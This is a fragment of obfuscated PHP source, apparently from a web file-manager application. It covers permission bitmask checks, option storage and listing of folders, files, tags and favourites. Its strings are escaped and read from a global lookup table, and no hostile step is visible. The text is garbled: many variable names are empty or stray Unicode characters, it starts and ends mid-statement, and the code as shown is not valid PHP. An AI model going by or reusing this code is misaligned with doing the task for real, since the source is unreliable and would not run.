authCheckShare($ƕ) { return self::authCheck($ƕ, self::AUTH_SHARE); } public static function authCheckComment($ː) { return self::authCheck($ː, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($빔) { return self::authCheck($빔, self::AUTH_ROOT); } public static function authCheckAction($, $) { $܌ =& $_SERVER[秼]; $ݎ = array($܌[2004] => self::AUTH_VIEW, $܌[1288] => self::AUTH_DOWNLOAD, $܌[110] => self::AUTH_UPLOAD, $܌[1953] => self::AUTH_EDIT, $܌[1952] => self::AUTH_REMOVE, $܌[1963] => self::AUTH_SHARE, $܌[431] => self::AUTH_COMMENT, $܌[1770] => self::AUTH_EVENT, $܌[2005] => self::AUTH_ROOT); if (!isset($ݎ[$])) { return; } $뱧 = $ݎ[$]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $뱧); } public static function authDisable($ݗ, $) { if (intval($ݗ) <= 0) { return 0; } return intval($ݗ) & ~$; } public $optionType = "\x53\x79\x73\x74\x65\x6d\56\163\157\x75\x72\x63\145\101\x75\x74\x68\114\x69\x73\164"; public $field = array("\x6e\x61\x6d\x65", "\141\165\164\150", "\154\141\142\145\x6c", "\x64\x69\x73\x70\x6c\x61\171", "\163\x79\x73\x74\x65\x6d", "\163\x6f\162\x74"); public function initData() { $ = $this->authDefault(); foreach ($ as $㽅) { $this->add($㽅); } } public function findAuth($, $) { $ܵ =& $_SERVER[秼]; $榺Ȁ = parent::listData(); foreach ($榺Ȁ as $) { $ = intval($[$ܵ[498]]); if ($ <= 0 || $[$ܵ[2006]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } return $[$ܵ[486]]; } return !1; } public function findAuthMax($ɛ, $ҥӷ) { $ڮ =& $_SERVER[秼]; $謠 = !1; $ތǸ = parent::listData(); foreach ($ތǸ as $) { $ = intval($[$ڮ[498]]); if ($ <= 0 || $[$ڮ[2006]] == 0) { continue; } if (($ & $ɛ) != $ɛ) { continue; } if (($ & $ҥӷ) != 0) { continue; } if (!$謠) { $謠 = $; continue; } if (intval($謠[$ڮ[498]]) < $) { $謠 = $; } } return $謠 ? $謠[$ڮ[486]] : !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[秼]; $ݵ = parent::listData(); $ = !1; foreach ($ݵ as $) { if ($[$[498]] <= 0 || $[$[2006]] == $[230]) { continue; } if (!$) { $ = $; continue; } if ($[$[498]] > $[$[498]]) { $ = $; } } return $ ? $[$[486]] : $[12]; } public function listData($ = false, $ = "\163\x6f\x72\164", $ث = false) { return parent::listData($, $, $ث); } public function update($, $ﻁ) { $ӫ =& $_SERVER[秼]; $ʋ = parent::listData($); $ = $this->findByName($ﻁ[$ӫ[32]]); if (!$ʋ || $ && $[$ӫ[486]] != $ʋ[$ӫ[486]]) { return !1; } $this->filterAuth($ﻁ[$ӫ[498]]); return parent::update($, $ﻁ); } public function remove($০) { $ = parent::listData($০); if (!$ || $[$_SERVER[秼][191]]) { return !1; } return parent::remove($০); } public function add($ = array()) { $ =& $_SERVER[秼]; if ($this->findByName($[$[32]])) { return !1; } $ = array($[32] => $[12], $[498] => 1, $[2007] => $[1994], $[2006] => 1, $[191] => 0, $[2008] => 0); $ = array_merge($, $); $[$[2008]] = $this->getSort(); $this->filterAuth($[$[498]]); return parent::insert($); } private function getSort() { $ɏ =& $_SERVER[秼]; $ = parent::listData(); $ = array_to_keyvalue($, $ɏ[12], $ɏ[2008]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { if (!$) { return; } $ӟ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ӟ as $ٻ) { if ($ & $ٻ) { $[] = $ٻ; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($ӟ); return; } $Ć = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $ٻ) { if (isset($Ć[$ٻ])) { $ = array_merge($, $Ć[$ٻ]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($, $ڻ) { return parent::update($, $ڻ); } } goto c; E: class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\171\163\164\x65\155\x4f\x70\x74\x69\157\156"; public $field = array(); public function listData($ = false, $͒ = "\155\x6f\144\151\146\171\124\x69\155\x65", $ՙ = false) { $ܐ = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($ܐ); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ܐ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$ܐ) { return $ ? null : array(); } if (!$) { $ܐ = array_filter(array_values($ܐ)); return array_sort_by($ܐ, $͒, $ՙ); } return $ܐ[$_SERVER[秼][483] . $]; } public function insert($) { $Ϥ =& $_SERVER[秼]; $ = array_field_key($, $this->field); $哇 = Model($this->modelType)->get($Ϥ[484], $this->optionType . $Ϥ[485]); $哇 = $哇 ? $哇 : 0; $[$Ϥ[486]] = ++$哇; $[$Ϥ[233]] = time(); $[$Ϥ[88]] = time(); Model($this->modelType)->set($Ϥ[484], $哇, $this->optionType . $Ϥ[485]); Model($this->modelType)->set($Ϥ[483] . $哇, $, $this->optionType); return $哇; } public function update($, $劚) { $ÂȤ =& $_SERVER[秼]; $劚 = array_field_key($劚, $this->field); $ = $this->listData($); if (!$ || !$) { return !1; } $劚 = array_merge($, $劚); $劚[$ÂȤ[88]] = time(); return Model($this->modelType)->set($ÂȤ[483] . $, $劚, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[秼][483] . $, $this->optionType); } public function clear() { $ =& $_SERVER[秼]; Model($this->modelType)->remove($[484], $this->optionType . $[485]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($Ξټ, $ſ) { if (!$ſ) { return !1; } $ǵź = $this->listData(); $ǵź = array_to_keyvalue($ǵź, $Ξټ); return isset($ǵź[$ſ]) ? $ǵź[$ſ] : !1; } public function findByName($) { return $this->findByKey($_SERVER[秼][32], $); } protected function resetData($) { $䯻 =& $_SERVER[秼]; $ = is_array($) ? $ : array(); $ = array(); for ($妜 = 0; $妜 < count($); $妜++) { $[$䯻[483] . $[$妜][$䯻[486]]] = $[$妜]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[秼][32]); if (!$ || !isset($[$])) { return $; } for ($ = 1; $ < count($); $++) { $ϱ = $ . "\50{$}\51"; if (!isset($[$ϱ])) { return $ϱ; } } return $ϱ; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($Ϸ = false, $ = '', $ = false) { $巛 =& $_SERVER[秼]; $ = $this->cacheGet($); $ב = $this->optionDefault($); $ב = is_array($ב) ? $ב : array(); if (is_array($)) { $ = array_merge($ב, $); return $Ϸ ? isset($[$Ϸ]) ? $[$Ϸ] : null : $; } $ = $this->filterWhere(array($巛[33] => $)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $巛[97], $巛[461]); foreach ($ as $ф => $) { if ($ || in_array($ф, $this->jsonField)) { $[$ф] = json_decode($, !0); } } $this->cacheSet($, $); $ = array_merge($ב, $); return $Ϸ ? $[$Ϸ] : $; } public function set($, $ܭư = false, $đ = '') { $ڦ =& $_SERVER[秼]; $this->cacheRemove($đ); $ɧ = array(); $ʝΥ = is_array($) ? $ : array($ => $ܭư); foreach ($ʝΥ as $פ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $ڦ[4] . $); $ = self::textEncode($); $ʝΥ = array($ڦ[33] => $đ, $ڦ[97] => $פ, $ڦ[461] => $); $ɧ[] = $this->filterWhere($ʝΥ); } if (!$ɧ) { return !0; } $ = $this->cacheKey($ڦ[487]); CacheLock::lock($); $ = $this->addAll($ɧ, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($ = '') { return !1; } public function setDeep($, $ = false, $ = '') { $ю = explode($_SERVER[秼][10], $); $̨ = $this->get(); array_set_value($̨, $, $); $this->set($ю[0], $̨[$ю[0]], $); } public function remove($Π, $ە = '') { $塄 =& $_SERVER[秼]; $this->cacheRemove($ە); $ = $this->filterWhere(array($塄[97] => $Π, $塄[33] => $ە)); if (is_null($Π)) { unset($[$塄[97]]); } return $this->where($)->delete(); } public function cacheSet($˄, $ = false) { return Cache::set($this->cacheKey($˄), $); } public function cacheGet($Ԍ) { return Cache::get($this->cacheKey($Ԍ)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\x6f\165\x72\x63\x65"; protected $tableMeta = array("\164\141\x62\154\145\116\x61\155\x65" => "\151\x6f\x5f\163\157\165\x72\143\145\x5f\x6d\145\164\141", "\155\145\x74\141\106\151\145\154\x64" => "\163\x6f\x75\x72\143\145\x49\x44"); protected $dataAuto = array(array("\155\x6f\144\x69\146\x79\124\x69\155\x65", "\x74\x69\x6d\x65", "\151\x6e\x73\145\x72\x74", "\146\165\156\x63\x74\151\x6f\x6e"), array("\143\x72\x65\x61\164\145\124\151\x6d\145", "\164\x69\155\x65", "\151\x6e\x73\145\x72\x74", "\146\x75\156\x63\x74\x69\x6f\156"), array("\166\151\145\x77\124\151\155\x65", "\x74\x69\x6d\145", "\151\156\163\x65\162\164", "\x66\165\x6e\x63\x74\151\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[秼][488] => $)); } public function typeName($ɐ) { static $ӏ = array(self::TYPE_SYSTEM => "\163\171\163\164\x65\155", self::TYPE_USER => "\x75\163\145\x72", self::TYPE_GROUP => "\x67\x72\157\x75\160"); return $ӏ[$ɐ . $_SERVER[秼][12]]; } public function sourceListInfo($⨾, $ = false) { $ڼΌ =& $_SERVER[秼]; $⨾ = $⨾ ? $⨾ : array(); $⨾ = array_filter(array_unique($⨾)); if (!$⨾) { return array(); } $ɣ = $this->where(array($ڼΌ[193] => array($ڼΌ[7], $⨾)))->select(); $this->_listDataApply($ɣ, $); return array_to_keyvalue($ɣ, $ڼΌ[193]); } public function pathInfoFilter(&$͓) { $伩 =& $_SERVER[秼]; static $ = false; static $ = false; static $ = false; if (!$) { $ = $伩[489]; $ .= $伩[490]; $ .= $伩[491]; $գ = $伩[492]; $뗋 = explode($伩[50], $գ); $ = explode($伩[50], $); $ = array(); foreach ($ as $Ѹ) { if (in_array($Ѹ, $뗋)) { continue; } $[] = $Ѹ; } $ = explode($伩[50], $伩[493]); } foreach ($ as $) { if (isset($͓[$])) { $͓[$] = intval($͓[$]); } } $͓[$伩[87]] = $伩[494] . $͓[$伩[193]] . $伩[495]; $͓[$伩[33]] = $͓[$伩[496]] == 1 ? $伩[78] : $伩[232]; $͓[$伩[190]] = $this->typeName($͓[$伩[190]]); if ($͓[$伩[496]] != 1) { $͓[$伩[169]] = $͓[$伩[497]]; unset($͓[$伩[497]]); } $Ҟ = $; if (isset($͓[$伩[498]]) && $͓[$伩[498]][$伩[499]] == -1) { $Ҟ = $; } $͓ = array_field_key($͓, $Ҟ); return $͓; } public function listUserFav() { $Ґϖ =& $_SERVER[秼]; $ˤì = Model($Ґϖ[500])->listData(); $ϱ = array_filter_by_field($ˤì, $Ґϖ[33], $Ґϖ[501]); $ϱ = array_to_keyvalue($ϱ, $Ґϖ[12], $Ґϖ[87]); if ($ϱ) { $Я = $this->listSource(array($Ґϖ[502] => array($Ґϖ[503], $ϱ))); } $Я = array_to_keyvalue($Я[$Ґϖ[456]], $Ґϖ[193]); foreach ($ˤì as &$) { $ = array($Ґϖ[504] => $[$Ґϖ[486]], $Ґϖ[505] => $[$Ґϖ[32]], $Ґϖ[506] => $[$Ґϖ[87]], $Ґϖ[507] => $[$Ґϖ[33]], $Ґϖ[508] => $[$Ґϖ[233]], $Ґϖ[509] => $[$Ґϖ[88]]); if ($[$Ґϖ[33]] == $Ґϖ[501] && $Я[$[$Ґϖ[87]]]) { $[$Ґϖ[90]] = $Я[$[$Ґϖ[87]]]; } } unset($); return $ˤì; } public function listUserTag($) { $ =& $_SERVER[秼]; if ($ && !is_array($)) { $ = array($); } $β = Model($[510])->listData(); $ = array(); $ = array(); foreach ($β as $) { $ = $[$[87]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[511]]; $[$[$[87]]] = $; } $ = array(); $ = array(); $ߵ䶆 = array(); foreach ($ as $ص => $) { $؊ = !0; if (!$) { $[] = $ص; continue; } foreach ($ as $Č) { if (!in_array($Č, $)) { $؊ = !1; break; } } if (!$؊) { continue; } if (!is_numeric($ص)) { $ض = $[$ص]; $֛ = array($[32] => $ض[$[32]], $[87] => $ض[$[87]], $[33] => $ض[$[33]], $[90] => array($[512] => 1), $[234] => !0); if ($ض[$[33]] == $[232]) { $ߵ䶆[] = $֛; } if ($ض[$[33]] == $[78]) { $[] = $֛; } continue; } $[] = $ص; } if ($) { $ = $this->listSource(array($[502] => array($[503], $))); } $ = $ ? $ : array($[85] => array(), $[86] => array()); $[$[85]] = array_merge($[$[85]], $); $[$[86]] = array_merge($[$[86]], $ߵ䶆); if (isset($[$[453]]) && count($) == $[$[453]][$[454]]) { return $; } $ڼ = array(); $ = array_to_keyvalue($[$[85]], $[12], $[193]); $ = array_to_keyvalue($[$[86]], $[12], $[193]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $ڼ[] = $; } } if ($ڼ) { Model($[513])->removeBySource($ڼ); } return $; } public function listUserRecycle() { $흪 =& $_SERVER[秼]; $ = Model($흪[514])->listData(); if (!$) { return array(); } $ = array($흪[502] => array($흪[503], $), $흪[515] => 1); return $this->listSource($); } public function listSource($ﰉ, $ = 3000, $Ъ = false) { $卶 =& $_SERVER[秼]; if (!isset($ﰉ[$卶[516]])) { $ﰉ[$卶[516]] = 0; } if (isset($ﰉ[$卶[192]]) && $ﰉ[$卶[192]] == $卶[230]) { $ﰉ[$卶[497]] = array($卶[517], $卶[12]); } $ = $卶[518]; $͜ = $this->field($)->_makeOrder()->where($ﰉ)->selectPage($); $this->_listPageCheck($͜, $, $ﰉ); $this->_listDataApply($͜[$卶[456]], $Ъ); $this->_listMake($͜); return $͜; } private function _listPageCheck(&$°, $Ѧ, $) { $ =& $_SERVER[秼]; if (!is_array($°[$[453]])) { return; } $ = $°[$[453]]; if ($[$[455]] <= 1) { return; } if ($[$[454]] >= 100000) { return; } if (Model($[519])->get($[520]) != $[521]) { return; } $Ѧ = str_replace(array($[53], $[419], $[287]), $[12], $Ѧ); $Ѧ = $[522] . str_replace($[50], $[523], $Ѧ) . $[524]; $ˀ = $[525]; $ˀ = $ˀ . $[526]; $Λ = $[$[450]] * ($[$[430]] - 1) . $[50] . $[$[450]]; $⌞ = $this->_makeOrder(!0); $ = $[522] . str_replace($[50], $[523], $⌞[0]); if (strpos($, $[527])) { $ = str_replace($[527], $[528], $); } else { $ .= $[529] . $⌞[1]; } $ = array(); foreach ($ as $˙ => $) { $[$[522] . $˙] = $; } $this->alias($[530])->field($Ѧ)->limit($Λ)->order($); $ = $this->join($ˀ)->where($)->select(); if ($) { $°[$[456]] = $; } } protected function _makeOrder($ = false) { $܌ =& $_SERVER[秼]; $Χ = Model($܌[531])->get($܌[532]); $ԙـގ = Model($܌[531])->get($܌[533]); $ۈ = array($܌[534] => $܌[535], $܌[536] => $܌[537]); $Ϡ = array($܌[32] => $܌[32], $܌[79] => $܌[79], $܌[169] => $܌[497], $܌[538] => $܌[538], $܌[539] => $܌[540], $܌[233] => $܌[233], $܌[88] => $܌[88]); $۷Ᏻ = Input::get($܌[541], $܌[7], $Χ, array_keys($Ϡ)); $峊 = Input::get($܌[542], $܌[7], $ԙـގ, array_keys($ۈ)); if (!in_array($۷Ᏻ, array_keys($Ϡ))) { $۷Ᏻ = $܌[32]; } if (!in_array($峊, array_keys($ۈ))) { $۷Ᏻ = $܌[534]; } if ($۷Ᏻ == $܌[32]) { } $ż = $܌[543] . $Ϡ[$۷Ᏻ] . $܌[53] . $ۈ[$峊]; $ż = rtrim(trim($ż), $܌[50]); if ($) { return array($ż, $ۈ[$峊]); } return $this->order($ż); } protected function _listDataApplyItem($ę, $ = false) { $ٳ = array($ę); $this->_listDataApply($ٳ, $); return $ٳ[0]; } protected function _listDataApply(&$㋃, $ǐ = false) { $ =& $_SERVER[秼]; if (!$㋃) { $㋃ = array(); return; } $֖ = array_to_keyvalue($㋃, $[12], $[193]); $֖ = array_unique($֖); $this->_listSourceCache($㋃); if (!$ǐ) { $this->_listAppendMeta($㋃, $֖); $this->_listAppendFileMeta($㋃, $֖); $this->_listAppendChildren($㋃, $֖); } $this->_listAppendPath($㋃); $this->_listAppendAuth($㋃); $this->_listAppendSourceInfo($㋃, $֖); $this->_listAppendUser($㋃); $this->_listFilterInfo($㋃, $ǐ); $this->_listAppendAuthSecret($㋃); } protected function _listSourceCache($˚ٽ) { $ٔ =& $_SERVER[秼]; foreach ($˚ٽ as $͠) { self::$cacheSourceInfo[$ٔ[544] . $͠[$ٔ[193]]] = $͠; } } protected function _listFilterInfo(&$, $ǫ = false) { $Ə =& $_SERVER[秼]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$Ə[545] . intval($ǫ) . $Ə[473] . $[$Ə[193]]] = $; } unset($); } protected function _listMake(&$礭) { $㳍 =& $_SERVER[秼]; $礭[$㳍[85]] = array(); $礭[$㳍[86]] = array(); foreach ($礭[$㳍[456]] as $捎) { $شӨ = $捎[$㳍[496]] == 1 ? $㳍[85] : $㳍[86]; $礭[$شӨ][] = $捎; } unset($礭[$㳍[456]]); } protected function _listAppendMeta(&$ά, $ޕ) { $ =& $_SERVER[秼]; $ћ = array($[502] => array($[503], $ޕ)); $ = Model($[546])->field($[547])->where($ћ)->select(); if (!$) { return; } $잜 = array($[548], $[549], $[528]); $ = array(); foreach ($ as $̝) { if (!isset($[$̝[$[193]]])) { $[$̝[$[193]]] = array(); } if (in_array($̝[$[97]], $잜)) { continue; } $[$̝[$[193]]][$̝[$[97]]] = $̝[$[461]]; } foreach ($ά as &$) { $[$[550]] = !1; if (isset($[$[$[193]]])) { $[$[550]] = $[$[$[193]]]; } if ($this->fileIsLock($) && $[$[498]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[498]][$[499]] = AuthModel::authDisable($[$[498]][$[499]], $); $[$[498]][$[551]][$[498]] = $[$[498]][$[499]]; } } unset($); } protected function _listAppendFileMeta(&$ǰ, $) { $Ы =& $_SERVER[秼]; $ж = array_to_keyvalue($ǰ, $Ы[12], $Ы[552]); $ж = array_filter(array_unique($ж)); if (!$ж) { return; } $ƣ = array($Ы[553] => array($Ы[503], $ж)); $ɳ = $Ы[554]; $呺 = Model($Ы[555])->field($ɳ)->where($ƣ)->select(); $呺 = array_to_keyvalue($呺, $Ы[552]); $ = Model($Ы[556])->field($Ы[557])->where($ƣ)->select(); $ = $ ? $ : array(); $ڞ = array(); foreach ($ as $ؙ) { if (!isset($ڞ[$ؙ[$Ы[552]]])) { $ڞ[$ؙ[$Ы[552]]] = array(); } $ڞ[$ؙ[$Ы[552]]][$ؙ[$Ы[97]]] = $ؙ[$Ы[461]]; } foreach ($ǰ as &$) { $톘 = $[$Ы[552]]; if (!$톘 || !is_array($呺[$톘])) { continue; } $ɓ = $呺[$톘]; $ɓ[$Ы[79]] = $[$Ы[79]]; $ɓ[$Ы[32]] = $[$Ы[32]]; if (!$ɓ[$Ы[558]]) { Model($Ы[555])->fileMd5Check($ɓ); } if (!isset(self::$cacheFileInfo[$Ы[559] . $톘])) { self::$cacheFileInfo[$Ы[559] . $톘] = array_merge(array(), $ɓ); } unset($呺[$톘][$Ы[87]]); $ = isset($ڞ[$톘]) && is_array($ڞ[$톘]) ? $ڞ[$톘] : array(); $[$Ы[170]] = array_merge($, $呺[$톘]); if (isset($[$Ы[170]][$Ы[184]])) { $[$Ы[184]] = json_decode($[$Ы[170]][$Ы[184]], !0); unset($[$Ы[170]][$Ы[184]]); } } unset($); } protected function _listAppendSourceInfo(&$ǡ, $ՠ) { $њ =& $_SERVER[秼]; $ň = Model($њ[560])->listData(); $۴ = Model($њ[510])->listData(); $֯ = Model($њ[500])->listData(); $ = Model($њ[561])->listSimple(); $ғ = array_to_keyvalue($ň, $њ[486]); $ = array_to_keyvalue_group($۴, $њ[87], $њ[511]); $϶ů = array_to_keyvalue($֯, $њ[87]); $ = array_to_keyvalue_group($, $њ[193]); foreach ($ǡ as &$) { $[$њ[90]] = array($њ[562] => 0, $њ[563] => 0, $њ[564] => 0); if (isset($϶ů[$[$њ[193]]])) { $[$њ[90]][$њ[565]] = 1; $[$њ[90]][$њ[566]] = $϶ů[$[$њ[193]]][$њ[32]]; } if ($ && $ғ && isset($[$[$њ[193]]])) { $[$њ[90]][$њ[567]] = array(); foreach ($[$[$њ[193]]] as $ȥ䛖) { $ݭ = $ғ[$ȥ䛖]; $[$њ[90]][$њ[567]][] = array($њ[568] => $ݭ[$њ[486]], $њ[505] => $ݭ[$њ[32]], $њ[569] => $ݭ[$њ[570]]); } } if ($ && isset($[$[$њ[193]]])) { $[$њ[90]][$њ[571]] = array(); foreach ($[$[$њ[193]]] as $) { $ = $њ[572]; if ($[$њ[573]] == $њ[91]) { $ .= $њ[574]; } $[$њ[90]][$њ[571]] = array_field_key($, explode($њ[50], $)); } } } unset($); return $ǡ; } protected function _listAppendChildren(&$ͦ, $) { $̭ =& $_SERVER[秼]; $ = array(); $ = array($̭[241] => 0, $̭[242] => 0); foreach ($ͦ as &$մ) { if (!$մ[$̭[496]]) { continue; } $[] = $մ[$̭[193]]; } unset($մ); if (!$) { return; } $ = array($̭[192] => array($̭[7], $), $̭[516] => 0); $ = array($̭[192], $̭[496], $̭[575] => $̭[576]); $҇Ų = $this->field($)->where($)->group($̭[577])->select(); $ͬ = array(); foreach ($҇Ų as $ʸ) { $ = $ʸ[$̭[192]]; $ = $ʸ[$̭[496]] == $̭[91] ? $̭[242] : $̭[241]; if (!isset($ͬ[$])) { $ͬ[$] = array($̭[241] => 0, $̭[242] => 0); } $ͬ[$][$] += $ʸ[$̭[576]]; } foreach ($ͦ as &$մ) { if (!$մ[$̭[496]]) { continue; } $Ť = is_array($ͬ[$մ[$̭[193]]]) ? $ͬ[$մ[$̭[193]]] : $; $մ[$̭[242]] = $Ť[$̭[242]]; $մ[$̭[241]] = $Ť[$̭[241]]; unset($մ[$̭[497]]); } unset($մ); } protected function _listAppendAuth(&$) { $ =& $_SERVER[秼]; $қ = array(); foreach ($ as $ֶ近) { if ($ֶ近[$[190]] == self::TYPE_GROUP) { $қ[] = $ֶ近[$[193]]; } } if (!$қ) { return; } $ = array_to_keyvalue($, $[193]); $ѯ뢛 = Model($[578])->getSourceList($қ, $); $ė = KodUser::isRoot(); foreach ($ as $ʲ => &$ֶ近) { $ֶ近[$[498]] = $ѯ뢛[$ֶ近[$[193]]]; if (!$ֶ近[$[498]] && $ֶ近[$[190]] == self::TYPE_GROUP) { $ֶ近[$[498]] = Action($[579])->pathGroupAuthMake($ֶ近[$[580]]); if (!$ֶ近[$[498]] && !$ė) { $ֶ近[$[235]] = !1; $ֶ近[$[234]] = !1; } } if ($ֶ近[$[498]]) { $ֶ近[$[235]] = AuthModel::authCheckEdit($ֶ近[$[498]][$[499]]); $ֶ近[$[234]] = AuthModel::authCheckView($ֶ近[$[498]][$[499]]); } $this->groupPathDisplay($ֶ近); } unset($ֶ近); } public function _listAppendAuthSecret(&$ܲĞ) { $ي =& $_SERVER[秼]; if (Model($ي[519])->get($ي[581]) != $ي[91]) { return; } static $య = false; if (!$య) { $썳 = Model($ي[582]); $ = Model($ي[583]); $య = $->listData(); $య = array_to_keyvalue($య, $ي[193]); $˓ڒ = json_decode(Model($ي[519])->get($ي[584]), !0); $˓ڒ = array_to_keyvalue($˓ڒ, $ي[486]); foreach ($య as $־ => $) { $֊ = $˓ڒ[$[$ي[585]]]; if (!$֊) { $->remove($[$ي[486]]); unset($య[$־]); continue; } $ܨ = $썳->listData($֊[$ي[498]]); if (!$ܨ) { $->remove($[$ي[486]]); unset($య[$־]); continue; } $[$ي[498]] = $ܨ; $[$ي[586]] = $֊; $[$ي[587]] = Model($ي[588])->getInfoSimpleOuter($[$ي[538]]); $య[$־] = $; } } $ն = USER_ID; $܃ = array(); $ = $this->_listAppendPath($܃, !0); foreach ($ܲĞ as $־ => &$) { if (!is_array($[$ي[498]])) { continue; } if ($[$ي[190]] != $ي[589]) { continue; } if (isset($య[$[$ي[193]]])) { $ɬ = $య[$[$ي[193]]]; if (!is_array($[$ي[550]])) { $[$ي[550]] = array(); } $[$ي[550]][$ي[590]] = $ɬ[$ي[585]]; $[$ي[498]][$ي[591]] = $ɬ; $[$ي[498]][$ي[592]] = $[$ي[593]]; $[$ي[498]][$ي[594]] = $ي[91]; if ($ɬ[$ي[538]] != $ն) { $[$ي[498]][$ي[499]] = $[$ي[498]][$ي[499]] & $ɬ[$ي[498]][$ي[498]]; } continue; } $ׇ֘ = $this->parentLevelArray($[$ي[595]]); $돜 = array_reverse($ׇ֘); foreach ($돜 as $ҽ => $) { if (!isset($య[$])) { continue; } $ɬ = $య[$]; $[$ي[498]][$ي[591]] = $ɬ; if ($ɬ[$ي[538]] != $ն) { $[$ي[498]][$ي[499]] = $[$ي[498]][$ي[499]] & $ɬ[$ي[498]][$ي[498]]; } $ = $ي[12]; $Ǡ = count($ׇ֘) - $ҽ; for ($ = 0; $ < $Ǡ; $++) { if (!isset($[$ׇ֘[$]])) { $ = $ي[12]; break; } $ = $ . rtrim($[$ׇ֘[$]], $ي[8]) . $ي[8]; } $[$ي[498]][$ي[592]] = rtrim($, $ي[8]) . $ي[8]; break; } } unset($); } public function groupPathDisplay(&$픐) { $ɜ =& $_SERVER[秼]; if ($픐[$ɜ[190]] != self::TYPE_GROUP) { return; } $ɠ = Model($ɜ[596])->getInfo($픐[$ɜ[580]]); $ = $this->parentLevelArray($ɠ[$ɜ[595]]); $ɍ = $ɜ[12]; foreach ($ as $) { $ = Model($ɜ[596])->getInfo($); $ɍ .= $[$ɜ[90]][$ɜ[193]] . $ɜ[50]; } $픐[$ɜ[597]] = $ɠ[$ɜ[192]]; $픐[$ɜ[598]] = $ɠ[$ɜ[595]]; $픐[$ɜ[599]] = $ɠ[$ɜ[600]]; $픐[$ɜ[601]] = $ɍ . $ɠ[$ɜ[90]][$ɜ[193]]; } protected function _listAppendPath(&$ŝ, $ = false) { $DZ =& $_SERVER[秼]; static $ = array(); $΄Ж = array(); $ = array(); if ($) { return $; } foreach ($ŝ as &$쾈) { $ԭ = $쾈[$DZ[193]]; if ($쾈[$DZ[496]] == $DZ[91] && $쾈[$DZ[192]] != 0) { $[$ԭ] = $쾈[$DZ[32]]; } if ($쾈[$DZ[496]] == $DZ[91] && $쾈[$DZ[192]] == 0) { $[$ԭ] = $this->_listAppendPathRoot($쾈, array()); } if (isset($[$쾈[$DZ[595]]])) { continue; } $[$쾈[$DZ[595]]] = !0; $ۨ = $this->parentLevelArray($쾈[$DZ[595]]); foreach ($ۨ as $ => $ܳ) { if (isset($[$ܳ])) { continue; } if ($ == 0) { $[$ܳ] = $this->_listAppendPathRoot($쾈, $ۨ); } if ($ != 0) { $΄Ж[] = $ܳ; } } } unset($쾈); $΄Ж = array_unique($΄Ж); if (count($΄Ж) > 0) { $ = array($DZ[502] => array($DZ[503], $΄Ж)); if (count($΄Ж) == 1) { $ʢ = $this->sourceInfo($΄Ж[0]); $Ӕ = is_array($ʢ) ? array($ʢ) : !1; } else { $Ӕ = $this->field($DZ[602])->where($)->select(); } if (!$Ӕ) { $Ӕ = array(); } foreach ($Ӕ as $ȿ) { $[$ȿ[$DZ[193]]] = $ȿ[$DZ[32]]; } } $崞 = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $Ś = array(); foreach ($ŝ as &$쾈) { $ = $쾈[$DZ[595]]; $é = $DZ[12]; if (isset($Ś[$])) { $é = $Ś[$]; } else { $ۨ = $this->parentLevelArray($쾈[$DZ[595]]); foreach ($ۨ as $ => $ܳ) { if (isset($[$ܳ])) { $é .= $[$ܳ] . $DZ[8]; } } $Ś[$] = $é; } $é .= $쾈[$DZ[32]]; if ($쾈[$DZ[496]] == $DZ[91]) { $é .= $DZ[8]; } $쾈[$DZ[593]] = str_replace($DZ[256], $DZ[8], $é); if ($쾈[$DZ[192]] == $DZ[230]) { $쾈[$DZ[32]] = trim($[$쾈[$DZ[193]]], $DZ[8]); $쾈[$DZ[593]] = $쾈[$DZ[32]] . $DZ[8]; } if (intval($쾈[$DZ[190]]) == 